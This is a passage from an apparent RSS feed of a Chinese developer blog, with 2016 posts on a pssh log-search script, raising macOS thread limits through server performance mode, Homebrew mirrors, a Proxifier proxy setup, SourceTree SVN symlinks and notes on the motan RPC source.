&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nv&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$OPTARG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        f&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nv&#34;&gt;file&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$OPTARG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        *&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;-&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$opt&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; not recognized&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            usage
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -z &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$encoding&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;#该脚本必须提供-d选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;gbk&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -z &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;#该脚本必须提供-d选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;file&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;~/hosts.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -z &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$key&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;#该脚本必须提供-d选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  usage
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;command&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;pssh -h &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$file&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; -P \&amp;#34;find /home/admin/logs/ -name &amp;#39;*.log&amp;#39;|xargs grep &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$key&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; --col\&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;luit -encoding &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;command&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;保存这个脚本为pssh.sh,然后用法如上.之后就可以通过 pssh.sh -f host.txt -c gbk -k keyword来批量查询了&lt;/p&gt;</description>
    </item>
    <item>
      <title>修改mac单应用创建线程的限制</title>
      <link>http://blog.leaver.me/2016/08/14/%E4%BF%AE%E6%94%B9mac%E5%8D%95%E5%BA%94%E7%94%A8%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E7%9A%84%E9%99%90%E5%88%B6/</link>
      <pubDate>Sun, 14 Aug 2016 17:33:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/08/14/%E4%BF%AE%E6%94%B9mac%E5%8D%95%E5%BA%94%E7%94%A8%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E7%9A%84%E9%99%90%E5%88%B6/</guid>
      <description>&lt;p&gt;最近遇到一个问题,公司的 java 服务端应用,启动后,通过 &lt;code&gt;jstack pid |grep nid -c&lt;/code&gt;,可以看到大概创建了2044个线程,然后此时应用就会报错,提示无法创建更多线程, jvm 开始抛错.
查看 mac 的内存,发现还是够的.因为一般认为可创建的线程数=(总内存-其他占用的内存)/线程大小,所以内存够的情况下,应该是能创建的.&lt;/p&gt;
&lt;p&gt;google 一圈,发现mac 对单线程创建的线程是有限制的.理由应该是为了保持系统稳定性.主要有两个参数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sysctl kern.num_threads&lt;/code&gt; 这个可以看一下,说明了系统能够创建的总共的线程,单个应用能够创建的线程是&lt;code&gt;sysctl kern.num_taskthreads&lt;/code&gt;,第二个参数就是导致我们创建不出来更多线程的原因,
因为2044+一些 gc 的线程,基本上刚刚达到这个极限.&lt;/p&gt;
&lt;p&gt;那么要么改程序,要么改参数.改程序这是不可能的..因为只有 mac 会有这个问题..该参数尝试通过&lt;code&gt;sudo sysctl -w kern.num_taskthreads=4096&lt;/code&gt;,修改,会发现提示是只读属性.google 了一圈,无解.&lt;/p&gt;
&lt;p&gt;最终意外解决..&lt;/p&gt;
&lt;p&gt;参考这里&lt;a href=&#34;https://support.apple.com/en-us/HT202528&#34;&gt;开启性能模式&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;nvram boot-args&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo nvram boot-args=&amp;quot;serverperfmode=1 $(nvram boot-args 2&amp;gt;/dev/null | cut -f 2-)&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;重启&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果想要恢复的话: &lt;code&gt;sudo nvram boot-args=&amp;quot;$(nvram boot-args 2&amp;gt;/dev/null | sed -e $&#39;s/boot-args\t//;s/serverperfmode=1//&#39;)&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当时各种搜索,加打apple 支持电话.无解.搜索意外看到这个说明,说开启之后,可以支持更多服务应用之类的.猜测应该会改这个值..果然..改完之后,直接重启,这个限制会变成5000..完美解决..理论上,应该通过继续修改这个参数
是可以自定义这个值的.不过还没尝试.&lt;/p&gt;</description>
    </item>
    <item>
      <title>homebrew缓慢解决方案</title>
      <link>http://blog.leaver.me/2016/08/07/homebrew%E7%BC%93%E6%85%A2%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/</link>
      <pubDate>Sun, 07 Aug 2016 17:29:55 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/08/07/homebrew%E7%BC%93%E6%85%A2%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88/</guid>
      <description>&lt;p&gt;mac 下使用 homebrew 作为包管理工具是非常好的. brew 用来安装非 gui 界面的程序. cask 用来安装 gui 界面的程序.但是这两个是使用的源在国外.所以你懂得..&lt;/p&gt;
&lt;p&gt;1.替换 homebrew 默认源&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cd /usr/local
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;git remote set-url origin git://mirrors.ustc.edu.cn/brew.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里注意记一下以前的默认源.防止以后想换回来..&lt;/p&gt;
&lt;p&gt;默认源是
&lt;code&gt;https://github.com/Homebrew/brew&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.替换homebrew bottles默认源&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;~/.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bashrc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里的.bashrc根据自己的情况替换.我是 zsh,就写到.zshrc 文件.&lt;/p&gt;</description>
    </item>
    <item>
      <title>mac使用全局代理</title>
      <link>http://blog.leaver.me/2016/08/07/mac%E4%BD%BF%E7%94%A8%E5%85%A8%E5%B1%80%E4%BB%A3%E7%90%86/</link>
      <pubDate>Sun, 07 Aug 2016 17:18:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/08/07/mac%E4%BD%BF%E7%94%A8%E5%85%A8%E5%B1%80%E4%BB%A3%E7%90%86/</guid>
      <description>&lt;p&gt;自从入了 hexo 的坑.这玩意折腾的我不要不要的.各种诡异的问题,不过也顺便搞了搞其他的东西.看了很多相关的代理设置方案.最终沿用 windows 下的策略.最简单高效.&lt;/p&gt;
&lt;p&gt;mac 下的 ss 代理是只能设置浏览器代理的.对于一些不走 http 代理的.比如终端.或者其他软件.那么就需要将 ss 代理指定给其他软件或者终端使用.&lt;/p&gt;
&lt;p&gt;1.有一个 ss 代理
2.安装proxifier,直接 &lt;code&gt;brew cask install proxifier&lt;/code&gt;
3.安装好之后,添加Proxies 里面,把 ssh 的信息添加进入
4.添加 Rules, 我为了简单..直接将default 设置成走代理.这样,就啥也不用管了.等 hexo deploy 结束.再关闭proxifier 就行了.&lt;/p&gt;
&lt;p&gt;实际使用中.可以先开全局代理.然后知道哪个程序走了代理.需要走代理.然后单独设置即可.软件很好使用.&lt;/p&gt;
&lt;p&gt;不得不说, wall 越来越令人难受与不安.&lt;/p&gt;</description>
    </item>
    <item>
      <title>sourceTree设置使用svn</title>
      <link>http://blog.leaver.me/2016/08/06/sourcetree%E8%AE%BE%E7%BD%AE%E4%BD%BF%E7%94%A8svn/</link>
      <pubDate>Sat, 06 Aug 2016 09:28:01 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/08/06/sourcetree%E8%AE%BE%E7%BD%AE%E4%BD%BF%E7%94%A8svn/</guid>
      <description>&lt;p&gt;mac 下面不想安装多个 GUI 的 svn 客户端.所以使用 sourceTree 来做.&lt;/p&gt;
&lt;p&gt;sourceTree 对于 svn 只能从远程 url 拷贝.不能从本地来.所以在 gui 页面进行添加&lt;/p&gt;
&lt;p&gt;但是会发现报错&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Can&amp;#39;t locate SVN/Core.pm in @INC (you may need to install the SVN::Core module) (@INC contains:
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;网上搜了一下.原因是 Perl 升级后 版本路径不对.于是执行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; sudo ln -s /Applications/Xcode.app/Contents/Developer/Library/Perl/5.18/darwin-thread-multi-2level/SVN /System/Library/Perl/Extras/5.18/SVN
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; sudo ln -s /Applications/Xcode.app/Contents/Developer/Library/Perl/5.18/darwin-thread-multi-2level/auto/SVN/ /System/Library/Perl/Extras/5.18/auto/SVN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里就是创建两个软连接.以便 sourceTree 识别.这里注意.如果你装了 Xcode 的 CommandLineTools, 而不是完整的 Xcode.
那么你的目录是没有这个原始文件的所以需要执行的&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ln -s /Library/Developer/CommandLineTools/Library/Perl/5.18/darwin-thread-multi-2level/SVN /System/Library/Perl/Extras/5.18/SVN
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ln -s /Library/Developer/CommandLineTools/Library/Perl/5.18/darwin-thread-multi-2level/auto/SVN/ /System/Library/Perl/Extras/5.18/auto/SVN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但是执行的时候还是会报错.因为新版本的 mac系统.已经不允许在 System 目录写文件了.除非关闭安全选项.这就得不偿失了.&lt;/p&gt;
&lt;p&gt;但是从stackexchange说法看.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;mkdir /Library/Perl/5.18/auto
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ln -s /Library/Developer/CommandLineTools/Library/Perl/5.18/darwin-thread-multi-2level/SVN /Library/Perl/5.18/SVN
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo ln -s /Library/Developer/CommandLineTools/Library/Perl/5.18/darwin-thread-multi-2level/auto/SVN /Library/Perl/5.18/auto/SVN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个方法也是可以的.就是使用另一个目录作为软连接的目录.测试通过.同理,上面的真实目录根据你装的是 Xcode 还是 CommandLineTools 来替换.记录备用.&lt;/p&gt;
&lt;p&gt;参考:http://apple.stackexchange.com/questions/208300/issue-with-creating-a-symbolic-link-inside-system-folder&lt;/p&gt;</description>
    </item>
    <item>
      <title>motan源码阅读-客户端服务引用</title>
      <link>http://blog.leaver.me/2016/05/31/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%9C%8D%E5%8A%A1%E5%BC%95%E7%94%A8/</link>
      <pubDate>Tue, 31 May 2016 20:00:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/31/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%9C%8D%E5%8A%A1%E5%BC%95%E7%94%A8/</guid>
      <description>&lt;p&gt;一旦服务器启动,服务开始提供,并且在配置中心注册了(配置中心可以是本地的地址,也可以是zk,也可以是其他的实现),那么客户端就要开始调用了&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/images/service_ref.png&#34;&gt;点击看大图&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;服务引用&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/service_ref.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;服务引用 RefererConfig.getRef()&lt;/p&gt;
&lt;p&gt;先是获取集群支持(先忽略,主要是配置中心相关的)&lt;/p&gt;
&lt;p&gt;configHandler.refer(interfaceClass, clusters, proxy)
开始获取接口代理&lt;/p&gt;
&lt;p&gt;1.一旦知道接口名,Class.forName加载接口类,就开始通过proxy工厂来为服务端接口创建代理了&lt;/p&gt;
&lt;p&gt;2.jdk的Proxy类,直接来创建代理.同时代理要传入RefererInvocationHandler
这个类可以看错是真正的stub,封装了rpc调用请求.当在客户端获取到服务接口的bean的时候,实际上调用过程被这个类拦截,进行封装发送rpc&lt;/p&gt;
&lt;p&gt;1.当接口被调用的时候,这个拦截器险根据拦截到的请求构造一个rpc请求&lt;/p&gt;
&lt;p&gt;2.这里就会存在一个策略.该调用哪个,以FailoverHaStrategy为例&lt;/p&gt;
&lt;p&gt;1.选择一个服务提供方&lt;/p&gt;
&lt;p&gt;1.如果是jvm服务,那么直接从本地的服务map中取出一个调用就行&lt;/p&gt;
&lt;p&gt;2.如果是真正的远程服务,这时候就进入nettyClient部分了&lt;/p&gt;
&lt;p&gt;把请求向netty的Channel中写就行了.服务端会从Channel中取进行处理,然后放回来.这样客户端就拿到结果了&lt;/p&gt;</description>
    </item>
    <item>
      <title>motan源码阅读-服务的发布</title>
      <link>http://blog.leaver.me/2016/05/30/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%8F%91%E5%B8%83/</link>
      <pubDate>Mon, 30 May 2016 20:42:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/30/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%8F%91%E5%B8%83/</guid>
      <description>&lt;p&gt;这一篇继续从这个demo开始,分析一下这个服务是怎么发布出去的.关键的代码从&lt;code&gt;motanDemoService.export();&lt;/code&gt;开始.&lt;/p&gt;
&lt;p&gt;一图胜千言.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/images/serviceConfig_export.png&#34;&gt;点击看大图&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;服务发布&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/serviceConfig_export.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;服务发布ServiceConfig.export()&lt;/p&gt;
&lt;p&gt;1.加载有的配置中心url列表/新建&lt;/p&gt;
&lt;p&gt;2.doExport(ProtocolConfig,port,registryURLs) //配置中心地址列表&lt;/p&gt;
&lt;p&gt;2.1导出的时候,会先判断是否存在.其实就是根据协议名,ip,接口,参数来生成一个唯一key.&lt;/p&gt;
&lt;p&gt;2.2ConfigHandler.export(Class&lt;T&gt; interfaceClass, T ref, List&lt;URL&gt; registryUrls) //接口.实现.配置中心url列表&lt;/p&gt;
&lt;p&gt;2.2.1.根据协议名创建协议,这里ProtocolFilterDecorator&lt;/p&gt;
&lt;p&gt;2.2.2.根据接口,实现类,serviceUrl,构造一个Provider,用来提供服务&lt;/p&gt;
&lt;p&gt;2.2.3.使用协议进行导出Provider,  export(Provider&lt;T&gt; provider, URL url)&lt;/p&gt;
&lt;p&gt;2.2.3.1创建一个Exporter&lt;/p&gt;
&lt;p&gt;2.2.3.1.1.创建的时候会将服务提供方Provider和url有个映射关系,这样当一个url请求过来的时候,就知道改调用谁了.ProviderMessageRouter,讲一个请求路由注册到server上,同时包装了一个心跳包&lt;/p&gt;
&lt;p&gt;2.2.3.2进行导出 导出就是一个服务器打开的过程/server.open();&lt;/p&gt;
&lt;p&gt;2.2.3.2.1进入nettyServer初始化,主要就是添加handler,编码解码.和一个rpc处理的
相当于一个请求过来的时候,先进行解码,然后调用业务处理handler进行处理,处理完成后,进行编码,然后返回给客户端&lt;/p&gt;
&lt;p&gt;服务器启动后,相当于这个服务就发布了&lt;/p&gt;
&lt;p&gt;2.2.4.注册register(registryUrls, serviceUrl) //这一步就是将serviceUrl,向对应的jvm/rpc服务中心注册url,本地注册就是LocalRegistryService类里一个map..zk的.就是向zk写node.等等&lt;/p&gt;</description>
    </item>
    <item>
      <title>motan源码阅读-入门和运行demo</title>
      <link>http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%85%A5%E9%97%A8%E5%92%8C%E8%BF%90%E8%A1%8Cdemo/</link>
      <pubDate>Sun, 29 May 2016 15:13:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%85%A5%E9%97%A8%E5%92%8C%E8%BF%90%E8%A1%8Cdemo/</guid>
      <description>&lt;p&gt;工作中一直在使用rpc,但是只是对简单的原理比较熟悉.最近看到有motan的一个介绍,代码拉下来看了看,除了测试用例比较少之外.其他还是不错的,和阿里的rpc框架比起来,还是弱了一些,好处就是方便用来学习.
&lt;a href=&#34;https://github.com/weibocom/motan&#34;&gt;motan&lt;/a&gt; 是weibo的一个rpc框架,据说已经在线上使用了.&lt;/p&gt;
&lt;p&gt;在学习rpc框架之前,建议看一个hello world级别的文章&lt;a href=&#34;http://javatar.iteye.com/blog/1123915&#34;&gt;RPC框架几行代码就够了&lt;/a&gt;,写的非常好,看完基本就知道rpc的核心了.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.cs.rutgers.edu/~pxk/417/notes/08-rpc.html&#34;&gt;Remote Procedure Calls&lt;/a&gt;中最关键的那个图,就能说明了.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;rpc的flow&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/rpc-flow.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;本地client调用本地client stub,stub对消息进行封装,通过socket发送,服务端的server stub接收到,然后解包,将里面传递的方法名,方法参数.等等信息,识别出来,调用服务端对应的服务,然后得到结果后,又通过socket返回,本地client又进行解包.就行了.&lt;/p&gt;
&lt;p&gt;这里面会涉及到,封装,封装就是吧对象序列化,这样才能在网络中传递.&lt;/p&gt;
&lt;p&gt;而生产环境的rpc框架需要考虑的有:&lt;/p&gt;
&lt;p&gt;stub怎么生成,序列化怎么最高效,如何统一不同机器之前的调用,(大小端的机器等),如何识别该调用哪个机器,负载均衡.socket通信.等等.&lt;/p&gt;
&lt;p&gt;先跑个demo熟悉一下.&lt;/p&gt;
&lt;p&gt;下载motan源码,导入ide,然后先启动服务端,MotanApiExportDemo,这个类,然后控制台会打出服务已经启动.然后运行MotanApiClientDemo,会发现一个控制台打出motan,服务端打出hello motan.就说明跑起来了.&lt;/p&gt;
&lt;p&gt;如果控制台日志没有.修改对应resources下面的log4j.properties文件.首行添加&lt;code&gt;log4j.rootLogger=debug,stdout&lt;/code&gt; ,会设置默认日志级别为debug,并且在控制台输出.
或者直接fork&lt;a href=&#34;https://github.com/leizhiyuan/motan&#34;&gt;我这个&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;后面会逐步分析,希望坚持下来.&lt;/p&gt;</description>
    </item>
    <item>
      <title>motan源码阅读系列目录</title>
      <link>http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB%E7%B3%BB%E5%88%97%E7%9B%AE%E5%BD%95/</link>
      <pubDate>Sun, 29 May 2016 15:13:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB%E7%B3%BB%E5%88%97%E7%9B%AE%E5%BD%95/</guid>
      <description>&lt;p&gt;本系列希望可以吧motan的源码通读一遍.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/2016/05/29/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%85%A5%E9%97%A8%E5%92%8C%E8%BF%90%E8%A1%8Cdemo/&#34;&gt;motan源码阅读-入门和运行demo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/2016/05/30/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%8F%91%E5%B8%83/&#34;&gt;motan源码阅读-服务的发布&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.leaver.me/2016/05/31/motan%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB-%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%9C%8D%E5%8A%A1%E5%BC%95%E7%94%A8/&#34;&gt;motan源码阅读-客户端服务引用&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
